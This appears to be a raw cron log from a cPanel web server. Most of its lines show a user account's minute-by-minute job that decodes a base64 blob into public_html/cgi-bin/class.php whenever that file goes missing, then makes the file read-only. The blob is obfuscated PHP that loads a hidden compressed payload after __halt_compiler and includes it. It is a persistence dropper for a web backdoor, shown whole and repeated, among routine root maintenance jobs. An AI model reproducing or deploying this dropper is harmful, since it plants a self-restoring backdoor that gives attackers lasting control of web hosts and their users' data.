Nov 15 23:55:01 server CROND[2826]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:56:01 server CROND[3288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:57:01 server CROND[3559]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 23:57:01 server CROND[3558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:58:01 server CROND[3817]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:59:01 server CROND[4069]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:00:01 server CROND[4564]: (root) CMD (/usr/sbin/csf --lfd restart &gt; /dev/null 2&gt;&amp;1)
Nov 16 00:00:01 server CROND[4566]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 00:00:01 server CROND[4567]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 16 00:00:01 server CROND[4570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:00:01 server CROND[4569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:00:01 server CROND[4568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:01:01 server CROND[4932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:01:01 server CROND[4933]: (root) CMD (run-parts /etc/cron.hourly)
Nov 16 00:01:01 server run-parts(/etc/cron.hourly)[4933]: starting 0anacron
Nov 16 00:01:01 server anacron[4945]: Anacron started on 2025-11-16
Nov 16 00:01:01 server run-parts(/etc/cron.hourly)[4947]: finished 0anacron
Nov 16 00:01:01 server anacron[4945]: Normal exit (0 jobs run)
Nov 16 00:02:01 server CROND[5213]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:03:01 server CROND[5490]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:04:01 server CROND[5757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:05:01 server CROND[6127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:05:01 server CROND[6128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:05:01 server CROND[6129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:05:01 server CROND[6130]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 00:06:01 server CROND[6452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:07:01 server CROND[6760]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
